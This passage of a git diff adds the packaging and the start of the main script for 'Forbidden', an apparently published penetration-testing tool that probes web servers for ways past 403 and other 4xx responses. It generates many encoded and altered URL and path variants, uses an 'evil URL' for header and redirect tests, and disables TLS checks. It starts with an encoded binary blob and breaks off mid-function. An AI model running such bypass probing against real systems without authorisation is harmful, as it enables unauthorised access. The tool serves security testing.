zdF<8M;ThEIiR_BZl@ZxNQ~RoG9mPPLl*LT{R-kc2ky10}PG6yQd@Ms|(%@mRaUM(hMR@ZrgXkJYeAn0^1G6!PpBYtEFx+fs#+U|~yWdoaM8 z%Dr+`_P82Tcav5lFlu6TYPn<^tLZjuEnoZCGXFH+fNf=UhwxgiPHz-kCiDfJ{?8@# zwB#!3C<-*Z_qNw&6;3(imX>`v*j%|Dl6apmCWyL2B!ps73V(807C@>gLWLa7!+q+YJx zs%&oTg`)c~OHS4YZ3k)iFw{<>_DAJfZJbZ+)8sL zQl}2OuQ)=M`9x*Zy5(9Hof@EIbLtG6kzX3Wsd@h+s5pzE*y>FNM{(G)#wj zp_MrK;lY-H%b;l8fWCocE4-Us=DxiH7_wGc@@HiH&A>38lWXN>xrzqv8M6h`)C4%% zFf-!p#bRnG8Apg}5CA=@Ro&nBNuc5*7KW#3^@mViIOC9}Cb=iJNB-FS+B8{l%cuV2 zQ`N^Wp)HVD_uafG-VjSQx0RD9S{3Vw!|f%%Up?4zqHwb$KgfjxaHie8nfZy6zDDBc z#B+!I^R~ZSLFq4Mg#7uSq?G!k^A9^LqVVz?lt$eF z_kpWwE}KE!K<;vwAetk`uW9tMU`xoK>SNXm>KXmYcDH%{^W-F2d$~^lf5{)|A_*be z{*hb5dj@5r(ih@1d|wKLMaH1%4|CBFdQ5I}b{v?V~zufUIiruB9%B6L>0+ke<_fEB zQxD7O?W7wGt=i>3|Hi3P;?mjd(xgj=cI^Kkw?C@40uAt2l;9n_Wbfr{*V|H(;=`fF zcb_Rqhv=n1_O~Tageh5bo2szvioO{S0IJ3*AP=b5ye$l3&cEO*rX@T%~7}J>8d-#rizpmE{^UNXF zLsQ80+}V^?wLW*?!;j`Bgwpu7q``5Bz>xADk_!-0OP|;w56bo^{z;`QnI4alUL&1c z0$=YCGBQd$7QZ~=A0Npgmntoe*8ef$V>ZZoUU82YWV6>f7babkBi%?5Q@78Anps3y zh9=;Z$#g@k5|8_){9NkhkZo4j=vsMzDiGDM^wi^eQ9CQ@gJUu})ORfZCpY9=J~48u z1=Z+KHyu9fKt+G7l+Jq6ERg#kU)Bm!jBEa^c?eyf-r|?Fsja+8OWxv6f|mC-x8tQHQ{ zK@4PV&q&fgh9n-)CsA!~WHT{T${uy=ADnknM~0M@NK12cE5@MZ^c<$u@4xVdl=Pu9 z3w<Knz~HU zM}_`zlJ$UkJ*@iXUf&^RQF6_?!qQqQTZxq2$$(Vb0jJqEpD6(Y7KTrJbG4%Fnw777WxWU+?F**+T1c-<7zyc$qzJ ze;oY|-2F%@Vp&%m`MvOaiu9;3^QJYZX)l+XCqqILp;ZzwzR}8=(CpmQ#@wlotj`eq zWV-*!Lt&7bP@*npXBY@>n+#64$DRhLGcvIYe<9X{ye-h@+^pvNUN@=1Y$pmVv}UI8 z2^;xQ+Gi`9LHoW%EibG5*+J82$`kxpTvOT31N{yjyP8|nvBrRZ-|`+T8ptWvx{-}? z@P~Mlc*;eY4G!nU?v0S01d2ssJ9)lcw)OC^+aq3*3JZUuI(A7F&oDvGw}(=_J454S zgLcM2AQ2bLSye|GABqt7YnZxvAcjisIa9$9-f1rn%9ut#9miegvXk7ueC4UV;r>C) zm;qBgI5jaq-O^kgdF=+5r{w6xq^A7n_(ivw z*rX+&EA7jXW*MS{KGg2=^-3Dquu|DPz@1q$JkqenR}nOsQ7AQG;G{XjRLG0`D7kH^ zT4@#6X(>HQj8naFv}6mP%-?{{x~PLjO_XBlIko1bgyKmGi-`hNQU#ORS!zsfY_1*o9s}9 zK9Q*&8jVIBJ-+5qGg`twB{Ps0f4)`?FALlsGHTwn7>UvJH0!?DtO&O_sdJGJ@W+3} ze18(WVF=N@VXw)rdH>8k-m*!nEAHd7Y@uv&+tYQI?t*UqCl-42Qn%Z;uh=OR#2Yx{ zpw|THmotihXgF~P;6Pa;*C{!_hqL!306$wm zUEC9~h6yUiQ+iU)5OSbrhz@H_h^oejIH{b{2{_YeA~NvFp=QXUm!G8=ToM;WyUV1K zJd1Pv>V7_Tp(wvlj5xwLXpR289hsMxrYguIB=41A$zzEL7?iXxF~Rhv_vKVx(M?n< zKi0FkS)OqxQ+yJwE!y_0K}GB6K(?q3Fu&*;V&ck5Ff8;w%|DRxJzuraBkujo>1dtt zB1i=gCS+%``8k|gJbGb@v8soP=#i6pFK@U8sxwzR9yXS28#-jB8ADuK>+8{0Il zUawc6&24xVg?P$@Y%gMmF6f2{id~jN zlHyAPc04p;=7R?99jZ)RbD%R%HkwH}!O@tP69)>>i|^9nO3uo=uU#Gevh$%-au>Fe z>g)4Lb(v1#*F4AS;eF)t8xz9F zt&Y@rib6LR2wiZDE96vhUE?jQz&)T()B7tqyp>mLOhZ{2n46$2KI#F!e#8|n8c&#_ zO@+qC0m@BvUK(Oky;Y&nz}}yB+_s-aZkd-x7IE*K8O`B?31a3lqOzV0LB}bBBVjXL zMtkUeO9y&T(lq42c`N&lseiou5r0^?exi`rBr^00(3O6cCeq&!#BX&dcvg>WIL7ms~g+a1L=lcrry!l9D>rT zo47^m48DhRSW6-6k9};L#CWVYTkyx6N~NSEQL?+rgY1&5?(B(GPSrVl@VGDe z1JcyJ5nYfbJ$zB$ zkc;6EfO`tqa*r+Lim=^85;;A;kn=7mF%+#jToKi$8o9Zl%E70sn}l;5nTX%y9BqdD z{IzGu>r6!D`{!IXyN1Q97p@!d$VBLOU8WMppXpb-+U4YckWFd|YeNvlMaas0qS|fz zgYP<4iAKQfNuJt|0XXOMA_i&?YdAa_6=ooLo^G3xw*TKF&!?p>mY|96ls?YuIOsknJv29dB zj9|GsuKi$PIp&~$=Qbb$BBD9x)Kx1oXP$5&5(bCwYLO()2V&D+q?y;5`yj5S6Qtm2 zN9d}IL+=-TV=l(}^VR)6Aj)~^Rs#QTrKUbra@eTiQo#tIpyxznqep9}mEz1Q+mv6= zExXVzhsTQyxK7RDa#T$5*iV2b#E@*gkv*}8aYoGU!*h89r!#}**otP!wlok}1F)gbx zsqGl9>=>#aKtpcqt?b@U+{PPGjpWbXG}KN$*@w32U6vM6;eYu1jnr zA_y1x(av&ulK@(ug-z;Z4b`urK0Numc)GA4{ruU(Pe<%?^X!)DF@7eBA15*SiZ;%1 zQ&0_BzUFkV@3*)=yNTaTAG`C$*vS^lSyR2g;xLNuIRRne&l5zk8^5LegV^iq+`9wU I`s4Y(0mpG?ZvX%Q literal 0 HcmV?d00001 diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..d5090f7 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,30 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "forbidden" +version = "10.8" +authors = [{ name = "Ivan Sincek" }] +description = "Bypass 4xx HTTP response status codes and more. Based on PycURL and Python Requests." +readme = "README.md" +requires-python = ">=3.6" +classifiers = [ + "Programming Language :: Python :: 3", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent" +] +dependencies = ["argparse>=1.4.0", "colorama>=0.4.6", "datetime>=5.2", "pycurl>=7.45.2", "pyjwt>=2.7.0", "regex>=2023.8.8", "requests>=2.31.0", "tabulate>=0.9.0", "termcolor>=1.1.0"] + +[project.urls] +"Homepage" = "https://github.com/ivan-sincek/forbidden" + +[project.scripts] +forbidden = "forbidden.forbidden:main" +stresser = "stresser.stresser:main" + +[tool.setuptools.packages.find] +where = ["src"] + +[tool.setuptools.package-data] +"*" = ["user_agents.txt"] diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/forbidden/__init__.py b/src/forbidden/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/forbidden/forbidden.py b/src/forbidden/forbidden.py new file mode 100644 index 0000000..46f9978 --- /dev/null +++ b/src/forbidden/forbidden.py @@ -0,0 +1,1799 @@ +#!/usr/bin/env python3 + +import argparse, base64, colorama, concurrent.futures, copy, datetime, io, json, jwt, os, pycurl, random, regex as re, requests, socket, subprocess, sys, tabulate, tempfile, termcolor, threading, time, urllib.parse + +colorama.init(autoreset = True) + +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +# ---------------------------------------- + +class Stopwatch: + + def __init__(self): + self.__start = datetime.datetime.now() + + def stop(self): + self.__end = datetime.datetime.now() + print(("Script has finished in {0}").format(self.__end - self.__start)) + +stopwatch = Stopwatch() + +# ---------------------------------------- + +default_quotes = "'" + +def escape_quotes(value): + return str(value).replace(default_quotes, ("\\{0}").format(default_quotes)) + +def set_param(value, param = ""): + value = default_quotes + escape_quotes(value) + default_quotes + if param: + value = ("{0} {1}").format(param, value) + return value + +# ---------------------------------------- + +def strip_url_scheme(url): + return url.split("://", 1)[-1] + +def strip_url_schemes(urls): + tmp = [] + for url in urls: + tmp.append(strip_url_scheme(url)) + return unique(tmp) + +def get_base_https_url(scheme, dnp, port, full_path): + return ("https://{0}:{1}{2}").format(dnp, port if scheme == "https" else 443, full_path) + +def get_base_http_url(scheme, dnp, port, full_path): + return ("http://{0}:{1}{2}").format(dnp, port if scheme == "http" else 80, full_path) + +def get_all_domains(scheme, dnps, port): # NOTE: Extends domain names and IPs. + if not isinstance(dnps, list): + dnps = [dnps] + tmp = [] + for dnp in dnps: + tmp.extend([ + dnp, + ("{0}:{1}").format(dnp, port), + ("{0}://{1}").format(scheme, dnp), + ("{0}://{1}:{2}").format(scheme, dnp, port) + ]) + return unique(tmp) + +def get_encoded_domains(dnp, port): + tmp = [dnp, dnp.lower(), dnp.upper(), mix(dnp), urllib.parse.quote(unicode_encode(dnp))] + for entry in tmp[0:-1]: + tmp.append(hexadecimal_encode(entry)) + # NOTE: hexadecimal_encode(urllib.parse.quote(unicode_encode(dnp))) does not work + for i in range(len(tmp)): + tmp[i] = ("{0}:{1}").format(tmp[i], port) + return unique(tmp) + +# ---------------------------------------- + +path_const = "/" + +def replace_multiple_slashes(path): + return re.sub(r"\/{2,}", path_const, path) + +def prepend_slash(path): + if not path.startswith(path_const): + path = path_const + path + return path + +def append_paths(bases, paths): + if not isinstance(bases, list): + bases = [bases] + if not isinstance(paths, list): + paths = [paths] + tmp = [] + for base in bases: + if base: + for path in paths: + tmp.append(base.rstrip(path_const) + prepend_slash(path) if path else base) + return unique(tmp) + +def extend_path(path, query_string = "", fragment = ""): + tmp = [] + path = path.strip(path_const) + if not path: + tmp.append(path_const) + else: + tmp.extend([path_const + path + path_const, path + path_const, path_const + path, path]) + if query_string or fragment: + for i in range(len(tmp)): + tmp[i] = tmp[i] + query_string + fragment + return unique(tmp) + +def get_recursive_paths(path): + end_no_const = "" + end_const = path_const + tmp = [end_no_const, end_const] + for entry in path.strip(path_const).split(path_const): + end_no_const += path_const + entry + end_const += entry + path_const + tmp.extend([end_no_const, end_const]) + return unique(tmp) + +def get_encoded_paths(path): + tmp = [] + if path == path_const: + tmp.append(path_const) + elif path: + paths = path.strip(path_const).rsplit(path_const, 1) + last = paths[-1] + tmp.extend([last, last.lower(), last.upper(), mix(last), capitalize(last), urllib.parse.quote(unicode_encode(last))]) + for entry in tmp[0:-1]: + tmp.append(hexadecimal_encode(entry)) + # NOTE: hexadecimal_encode(urllib.parse.quote(unicode_encode(last))) does not work + prepend = path_const + paths[0] + path_const if len(paths) > 1 else path_const + append = path_const if path.endswith(path_const) else "" + for i in range(len(tmp)): + tmp[i] = prepend + tmp[i] + append + return unique(tmp) + +# ---------------------------------------- + +def mix(string): + tmp = "" + upper = False + for character in string: + if character.isalpha(): + if character.isupper(): + upper = True + break + for character in string: + if character.isalpha(): + character = character.lower() if upper else character.upper() + upper = not upper + tmp += character + return tmp + +def unicode_encode(string, case_sensitive = False): + characters = { + "a": "\u1d2c", + "b": "\u1d2e", + "d": "\u1d30", + "e": "\u1d31", + "g": "\u1d33", + "h": "\u1d34", + "i": "\u1d35", + "j": "\u1d36", + "k": "\u1d37", + "l": "\u1d38", + "m": "\u1d39", + "n": "\u1d3a", + "o": "\u1d3c", + "p": "\u1d3e", + "r": "\u1d3f", + "t": "\u1d40", + "u": "\u1d41", + "w": "\u1d42", + "1": "\u2460", + "2": "\u2461", + "3": "\u2462", + "4": "\u2463", + "5": "\u2464", + "6": "\u2465", + "7": "\u2466", + "8": "\u2467", + "9": "\u2468" + } + if case_sensitive: + lower = string.lower() + for key, value in characters.items(): + if key in lower: + string = re.sub(key, value, string, flags = re.IGNORECASE) + else: + for key, value in characters.items(): + if key in string: + string = string.replace(key, value) + return string + +def capitalize(string): + tmp = "" + changed = False + for character in string.lower(): + if not changed and character.isalpha(): + character = character.upper() + changed = True + tmp += character + return tmp + +def hexadecimal_encode(string): + tmp = "" + for character in string: + if character.isalpha() or character.isdigit(): + character = ("%{0}").format(format(ord(character), "x")) + tmp += character + return tmp + +# ---------------------------------------- + +def print_white(text): + termcolor.cprint(text, "white") + +def print_cyan(text): + termcolor.cprint(text, "cyan") + +def print_red(text): + termcolor.cprint(text, "red") + +def print_yellow(text): + termcolor.cprint(text, "yellow") + +def print_green(text): + termcolor.cprint(text, "green") + +def print_time(text): + print(("{0} - {1}").format(datetime.datetime.now().strftime("%H:%M:%S"), text)) + +default_encoding = "ISO-8859-1" + +def b64(string): + return base64.b64encode((string).encode(default_encoding)).decode(default_encoding) + +def jdump(data): + return json.dumps(data, indent = 4, ensure_ascii = False) + +def pop(array, keys): + for obj in array: + for key in keys: + obj.pop(key, None) + return array + +# ---------------------------------------- + +class uniquestr(str): + __lower = None + def __hash__(self): + return id(self) + def __eq__(self, other): + return self is other + def lower(self): + if self.__lower is None: + lower = str.lower(self) + if str.__eq__(lower, self): + self.__lower = self + else: + self.__lower = uniquestr(lower) + return self.__lower + +# ---------------------------------------- + +def unique(sequence): + seen = set() + return [x for x in sequence if not (x in seen or seen.add(x))] + +def read_file(file): + tmp = [] + with open(file, "r", encoding = default_encoding) as stream: + for line in stream: + line = line.strip() + if line: + tmp.append(line) + return unique(tmp) + +def write_file(data, out): + confirm = "yes" + if os.path.isfile(out): + print(("'{0}' already exists").format(out)) + confirm = input("Overwrite the output file (yes): ") + if confirm.lower() == "yes": + try: + open(out, "w").write(data) + print(("Results have been saved to '{0}'").format(out)) + except FileNotFoundError: + print(("Cannot save results to '{0}'").format(out)) + +default_user_agent = "Forbidden/10.8" + +def get_all_user_agents(): + tmp = [] + file = os.path.join(os.path.abspath(os.path.split(__file__)[0]), "user_agents.txt") + if os.path.isfile(file) and os.access(file, os.R_OK) and os.stat(file).st_size > 0: + with open(file, "r", encoding = default_encoding) as stream: + for line in stream: + line = line.strip() + if line: + tmp.append(line) + return tmp if tmp else [default_agent] + +def get_random_user_agent(): + tmp = get_all_user_agents() + return tmp[random.randint(0, len(tmp) - 1)] + +# ---------------------------------------- + +class Forbidden: + + def __init__(self, url, ignore_qsf, ignore_curl, tests, force, values, paths, evil, ignore, content_lengths, request_timeout, threads, sleep, user_agents, proxy, debug): + # -------------------------------- + # NOTE: User-controlled input. + self.__url = self.__parse_url(url, ignore_qsf) + self.__tests = tests + self.__force = force + self.__values = values + self.__accessible = append_paths(self.__url["scheme_domain"], paths) + self.__evil = self.__parse_url(evil, ignore_qsf) + self.__ignore = ignore + self.__content_lengths = content_lengths + self.__threads = threads + self.__sleep = sleep + self.__user_agents = user_agents + self.__user_agents_len = len(self.__user_agents) + self.__proxy = proxy + self.__debug = debug + # -------------------------------- + # NOTE: Python cURL configuration. + self.__curl = not ignore_curl + self.__verify = False # NOTE: Ignore SSL/TLS verification. + self.__allow_redirects = True + self.__max_redirects = 10 + self.__connect_timeout = request_timeout + self.__read_timeout = request_timeout + self.__encoding = "UTF-8" # NOTE: ISO-8859-1 works better than UTF-8 when accessing files. + self.__regex_flags = re.MULTILINE | re.IGNORECASE + # -------------------------------- + self.__error = False + self.__print_lock = threading.Lock() + self.__default_method = "GET" + self.__allowed_methods = [] + self.__collection = [] + self.__identifier = 0 + + def __parse_url(self, url, ignore_qsf = False, case_sensitive = False): + url = urllib.parse.urlsplit(url) + scheme = url.scheme.lower() + port = int(url.port) if url.port else (443 if scheme == "https" else 80) + domain = url.netloc if url.port else ("{0}:{1}").format(url.netloc, port) + domain = domain.lower() if not case_sensitive else domain + path = replace_multiple_slashes(url.path) + # -------------------------------- + query = {} + fragment = {} + query["parsed" ] = {} if ignore_qsf else urllib.parse.parse_qs(url.query, keep_blank_values = True) + query["full" ] = ("?{0}").format(urllib.parse.urlencode(query["parsed"], doseq = True)) if query["parsed"] else "" + fragment["parsed"] = {} # NOTE: Not used. + fragment["full" ] = ("#{0}").format(url.fragment) if url.fragment else "" + # -------------------------------- + tmp = {} + tmp["scheme" ] = scheme + tmp["domain_no_port" ] = domain.split(":", 1)[0] + tmp["port" ] = port + tmp["domain" ] = domain + tmp["domain_extended" ] = get_all_domains(tmp["scheme"], tmp["domain_no_port"], tmp["port"]) + # -------------------------------- + tmp["ip_no_port" ] = None + tmp["ip" ] = None + tmp["ip_extended" ] = None + tmp["scheme_ip" ] = None + # -------------------------------- + tmp["scheme_domain" ] = ("{0}://{1}").format(tmp["scheme"], tmp["domain"]) + tmp["path" ] = path + tmp["query" ] = query + tmp["fragment" ] = fragment + tmp["path_full" ] = tmp["path"] + tmp["query"]["full"] + tmp["fragment"]["full"] + # -------------------------------- + tmp["urls" ] = { + "base" : tmp["scheme_domain"] + tmp["path_full"], + "domain": { + "https": get_base_https_url(tmp["scheme"], tmp["domain_no_port"], tmp["port"], tmp["path_full"]), + "http" : get_base_http_url(tmp["scheme"], tmp["domain_no_port"], tmp["port"], tmp["path_full"]) + }, + "ip" : { + "https": None, + "http" : None + } + } + # -------------------------------- + tmp["relative_paths" ] = extend_path(tmp["path"]) + extend_path(tmp["path"], tmp["query"]["full"], tmp["fragment"]["full"]) + tmp["absolute_paths" ] = append_paths(("{0}://{1}").format(tmp["scheme"], tmp["domain_no_port"]), tmp["relative_paths"]) + append_paths(tmp["scheme_domain"], tmp["relative_paths"]) + # -------------------------------- + for key in tmp: + if isinstance(tmp[key], list): + tmp[key] = unique(tmp[key]) + return tmp + # -------------------------------- + + def __parse_ip(self, obj): + try: + obj["ip_no_port" ] = socket.gethostbyname(obj["domain_no_port"]) + obj["ip" ] = ("{0}:{1}").format(obj["ip_no_port"], obj["port"]) + obj["ip_extended"] = get_all_domains(obj["scheme"], obj["ip_no_port"], obj["port"]) + obj["scheme_ip" ] = ("{0}://{1}").format(obj["scheme"], obj["ip"]) + obj["urls"]["ip" ] = { + "https": get_base_https_url(obj["scheme"], obj["ip_no_port"], obj["port"], obj["path_full"]), + "http" : get_base_http_url(obj["scheme"], obj["ip_no_port"], obj["port"], obj["path_full"]) + } + except socket.error as ex: + self.__print_debug(ex) + return obj + + def __add_content_lengths(self, content_lengths): + if not isinstance(content_lengths, list): + content_lengths = [content_lengths] + self.__content_lengths = unique(self.__content_lengths + content_lengths) + + def get_results(self): + return self.__collection + + def __print_error(self, text): + self.__error = True + print_red(("ERROR: {0}").format(text)) + + def __print_debug(self, error, text = ""): + if self.__debug: + with self.__print_lock: + if text: + print_yellow(text) + print_cyan(error) + + def __encode(self, values): + if isinstance(values, list): + return [value.encode(self.__encoding) for value in values] + else: + return values.encode(self.__encoding) + + def __decode(self, values): + if isinstance(values, list): + return [value.decode(self.__encoding) for value in values] + else: + return values.decode(self.__encoding) + + def run(self): + self.__validate_inaccessible_and_evil_urls() + if not self.__error: + self.__fetch_inaccessible_and_evil_ips() + if not self.__error: + self.__validate_accessible_urls() + self.__set_allowed_http_methods() + self.__prepare_collection() + if not self.__collection: + print("No test records were created") + else: + self.__filter_collection() + print_cyan(("Number of created test records: {0}").format(len(self.__collection))) + self.__run_tests() + self.__validate_results() + + def __validate_inaccessible_and_evil_urls(self): + # -------------------------------- + print_cyan(("Normalized inaccessible URL: {0}").format(self.__url["urls"]["base"])) + print_time(("Validating the inaccessible URL using HTTP {0} method...").format(self.__force if self.__force else self.__default_method)) + record = self.__fetch(url = self.__url["urls"]["base"], method = self.__force if self.__force else self.__default_method) + if not (record["code"] > 0): + self.__print_error("Cannot validate the inaccessible URL, script will exit shortly...") + elif "base" in self.__content_lengths: + print_green(("Ignoring the inaccessible URL response content length: {0}").format(record["length"])) + self.__content_lengths.pop(self.__content_lengths.index("base")) + self.__add_content_lengths(record["length"]) + # -------------------------------- + if not self.__error and self.__check_tests(["headers", "auths", "redirects", "parsers", "all"]): + print_cyan(("Normalized evil URL: {0}").format(self.__evil["urls"]["base"])) + print_time(("Validating the evil URL using HTTP {0} method...").format(self.__default_method)) + record = self.__fetch(url = self.__evil["urls"]["base"], method = self.__default_method) + if not (record["code"] > 0): + self.__print_error("Cannot validate the evil URL, script will exit shortly...") + # -------------------------------- + + def __fetch_inaccessible_and_evil_ips(self): + # -------------------------------- + print_time("Fetching the IP of inaccessible URL...") + self.__url = self.__parse_ip(copy.deepcopy(self.__url)) + if not self.__url["ip_no_port"]: + self.__print_error("Cannot fetch the IP of inaccessible URL, script will exit shortly...") + # -------------------------------- + if not self.__error and self.__check_tests(["headers", "auths", "redirects", "parsers", "all"]): + print_time("Fetching the IP of evil URL...") + self.__evil = self.__parse_ip(copy.deepcopy(self.__evil)) + if not self.__evil["ip_no_port"]: + self.__print_error("Cannot fetch the IP of evil URL, script will exit shortly...") + # -------------------------------- + + # NOTE: Select only the first valid accessible URL. + def __validate_accessible_urls(self): + if self.__check_tests(["headers", "all"]): + print_time(("Validating the accessible URLs using HTTP {0} method...").format(self.__default_method)) + for url in copy.deepcopy(self.__accessible): + self.__accessible = "" + record = self.__fetch(url = url, method = self.__default_method) + if record["code"] >= 200 and record["code"] < 400: + print_green(("First valid accessible URL: {0}").format(record["url"])) + self.__accessible = record["url"] + if "path" in self.__content_lengths: + print_green(("Ignoring the accessible URL response content length: {0}").format(record["length"])) + self.__content_lengths.pop(self.__content_lengths.index("path")) + self.__add_content_lengths(record["length"]) + break + if not self.__accessible: + print_cyan("No valid accessible URLs were found, moving on...") + + def __set_allowed_http_methods(self): + # -------------------------------- + if self.__force: + print_cyan(("Forcing HTTP {0} method for all non-specific test cases...").format(self.__force)) + self.__allowed_methods = [self.__force] + # -------------------------------- + elif self.__check_tests(["methods", "method-overrides", "all"]): + print_time("Fetching allowed HTTP methods...") + record = self.__fetch(url = self.__url["urls"]["base"], method = "OPTIONS") + if record["code"] > 0: + if record["curl"]: + methods = re.search(r"(?<=^allow\:).+", record["response_headers"], self.__regex_flags) + if methods: + for method in methods[0].split(","): + method = method.strip().upper() + if method not in self.__allowed_methods: + self.__allowed_methods.append(method) + else: + for key in record["response_headers"]: + if key.lower() == "allow": + for method in record["response_headers"][key].split(","): + method = method.strip().upper() + if method not in self.__allowed_methods: + self.__allowed_methods.append(method) + break + if not self.__allowed_methods: + print_cyan("Cannot fetch allowed HTTP methods, moving on...") + self.__allowed_methods = self.__get_methods() + # TO DO: Brute-force allowed HTTP methods. + else: + print_green(("Allowed HTTP methods: [{0}]").format((", ").join(self.__allowed_methods))) + # -------------------------------- + + def __fetch(self, url, method = None, headers = None, body = None, user_agent = None, proxy = None, curl = None, passthrough = True): + record = self.__record("SYSTEM-0", url, method, headers, body, user_agent, proxy, curl) + return self.__send_curl(record, passthrough) if record["curl"] else self.__send_request(record, passthrough) + + def __records(self, identifier, urls, methods = None, headers = None, body = None, user_agent = None, proxy = None, curl = None): + if not isinstance(urls, list): + urls = [urls] + if not isinstance(methods, list): + methods = [methods] + if headers: + for url in urls: + for method in methods: + for header in headers: + if not isinstance(header, list): + # NOTE: Python cURL accepts only string arrays as HTTP request headers. + header = [header] + self.__collection.append(self.__record(identifier, url, method, header, body, user_agent, proxy, curl)) + else: + for url in urls: + for method in methods: + self.__collection.append(self.__record(identifier, url, method, [], body, user_agent, proxy, curl)) + + def __record(self, identifier, url, method, headers, body, user_agent, proxy, curl): + self.__identifier += 1 + identifier = ("{0}-{1}").format(self.__identifier, identifier) + if not method: + method = self.__force if self.__force else self.__default_method + if not user_agent: + user_agent = self.__user_agents[random.randint(0, self.__user_agents_len - 1)] if self.__user_agents_len > 1 else self.__user_agents[0] + if not proxy: + proxy = self.__proxy + if not curl: + curl = self.__curl + record = { + "raw" : self.__identifier, + "id" : identifier, + "url" : url, + "method" : method, + "headers" : headers, + "body" : body, + "user_agent" : user_agent, + "proxy" : proxy, + "command" : None, + "code" : 0, + "length" : 0, + "response" : None, + "response_headers": None, + "curl" : curl + } + record["command"] = self.__build_command(record) + return record + + def __build_command(self, record): + tmp = ["curl", ("--connect-timeout {0}").format(self.__connect_timeout), ("-m {0}").format(self.__read_timeout), "-iskL", ("--max-redirs {0}").format(self.__max_redirects), "--path-as-is"] + if record["body"]: + tmp.append(set_param(record["body"], "-d")) + if record["proxy"]: + tmp.append(set_param(record["proxy"], "-x")) + if record["user_agent"]: + tmp.append(set_param(record["user_agent"], "-A")) + if record["headers"]: + for header in record["headers"]: + tmp.append(set_param(header, "-H")) + tmp.append(set_param(record["method"], "-X")) + tmp.append(set_param(record["url"])) + tmp = (" ").join(tmp) + return tmp + + # NOTE: Remove duplicate test records. + def __filter_collection(self): + tmp = [] + exists = set() + for record in self.__collection: + command = re.sub((" -A \\{0}.+?\\{0}").format(default_quotes), "", record["command"]) + if command not in exists and not exists.add(command): + tmp.append(record) + self.__collection = tmp + + def __run_tests(self): + results = [] + print_time(("Running tests with {0} engine...").format("PycURL" if self.__curl else "Python Requests")) + print("Press CTRL + C to exit early - results will be saved") + progress = Progress(len(self.__collection), self.__print_lock) + progress.show() + with concurrent.futures.ThreadPoolExecutor(max_workers = self.__threads) as executor: + subprocesses = [] + try: + for record in self.__collection: + subprocesses.append(executor.submit(self.__send_curl if record["curl"] else self.__send_request, record)) + for subprocess in concurrent.futures.as_completed(subprocesses): + results.append(subprocess.result()) + progress.show() + except KeyboardInterrupt: + executor.shutdown(wait = True, cancel_futures = True) + self.__collection = results + + def __send_curl(self, record, passthrough = False): + if self.__sleep: + time.sleep(self.__sleep) + curl = None + cookiefile = None + headers = None + response = None + try: + # ---------------------------- + curl = pycurl.Curl() + # ---------------------------- + cookiefile = tempfile.NamedTemporaryFile(mode = "r") # NOTE: Important! Store and pass HTTP cookies on HTTP redirects. + curl.setopt(pycurl.COOKIESESSION, True) + curl.setopt(pycurl.COOKIEFILE, cookiefile.name) + curl.setopt(pycurl.COOKIEJAR, cookiefile.name) + # ---------------------------- + if passthrough: + headers = io.BytesIO() + curl.setopt(pycurl.HEADERFUNCTION, headers.write) + # ---------------------------- + response = io.BytesIO() + curl.setopt(pycurl.WRITEFUNCTION, response.write) + # ---------------------------- + curl.setopt(pycurl.HTTP_VERSION, pycurl.CURL_HTTP_VERSION_1_1) + curl.setopt(pycurl.VERBOSE, False) + curl.setopt(pycurl.PATH_AS_IS, True) + curl.setopt(pycurl.SSL_VERIFYHOST, self.__verify) + curl.setopt(pycurl.SSL_VERIFYPEER, self.__verify) + curl.setopt(pycurl.PROXY_SSL_VERIFYHOST, self.__verify) + curl.setopt(pycurl.PROXY_SSL_VERIFYPEER, self.__verify) + curl.setopt(pycurl.FOLLOWLOCATION, self.__allow_redirects) + curl.setopt(pycurl.MAXREDIRS, self.__max_redirects) + curl.setopt(pycurl.CONNECTTIMEOUT, self.__connect_timeout) + curl.setopt(pycurl.TIMEOUT, self.__read_timeout) + # ---------------------------- + # NOTE: Important! Encode Unicode characters. + curl.setopt(pycurl.URL, record["url"]) + curl.setopt(pycurl.CUSTOMREQUEST, record["method"]) + if record["method"] in ["HEAD"]: + curl.setopt(pycurl.NOBODY, True) + if record["user_agent"]: + curl.setopt(pycurl.USERAGENT, self.__encode(record["user_agent"])) + if record["headers"]: + curl.setopt(pycurl.HTTPHEADER, self.__encode(record["headers"])) # Will override 'User-Agent' HTTP request header. + if record["body"]: + curl.setopt(pycurl.POSTFIELDS, record["body"]) + if record["proxy"]: + curl.setopt(pycurl.PROXY, record["proxy"]) + # ---------------------------- + curl.perform() + # ---------------------------- + record["code"] = int(curl.getinfo(pycurl.RESPONSE_CODE)) + record["length"] = int(curl.getinfo(pycurl.SIZE_DOWNLOAD)) + if passthrough: + record["response_headers"] = self.__decode(headers.getvalue()) + # record["response"] = self.__decode(response.getvalue()) + elif record["length"] in self.__content_lengths or (self.__ignore and re.search(self.__ignore, self.__decode(response.getvalue()), self.__regex_flags)): + record["code"] = -1 + # ---------------------------- + except pycurl.error as ex: + # ---------------------------- + self.__print_debug(ex, ("{0}: {1}").format(record["id"], record["command"])) + # ---------------------------- + finally: + # ---------------------------- + if response: + response.close() + # ---------------------------- + if headers: + headers.close() + # ---------------------------- + if curl: + curl.close() + # ---------------------------- + if cookiefile: + cookiefile.close() # NOTE: Important! Close the file handle strictly after closing the cURL handle. + # ---------------------------- + return record + + def __send_request(self, record, passthrough = False): + if self.__sleep: + time.sleep(self.__sleep) + session = None + response = None + try: + # ---------------------------- + session = requests.Session() + session.max_redirects = self.__max_redirects + # ---------------------------- + session.cookies.clear() + # ---------------------------- + request = requests.Request( + record["method"], + record["url"] + ) + if record["user_agent"]: + request.headers["User-Agent"] = self.__encode(record["user_agent"]) + if record["headers"]: + self.__set_double_headers(request, record["headers"]) # Will override 'User-Agent' HTTP request header. + if record["body"]: + request.data = record["body"] + if record["proxy"]: + session.proxies["https"] = session.proxies["http"] = record["proxy"] + # ---------------------------- + prepared = session.prepare_request(request) + prepared.url = record["url"] + # ---------------------------- + response = session.send( + prepared, + verify = self.__verify, + allow_redirects = self.__allow_redirects, + timeout = (self.__connect_timeout, self.__read_timeout) + ) + # ---------------------------- + record["code"] = int(response.status_code) + record["length"] = len(response.content) + if passthrough: + record["response_headers"] = dict(response.headers) + # record["response"] = self.__decode(response.content) + elif record["length"] in self.__content_lengths or (self.__ignore and 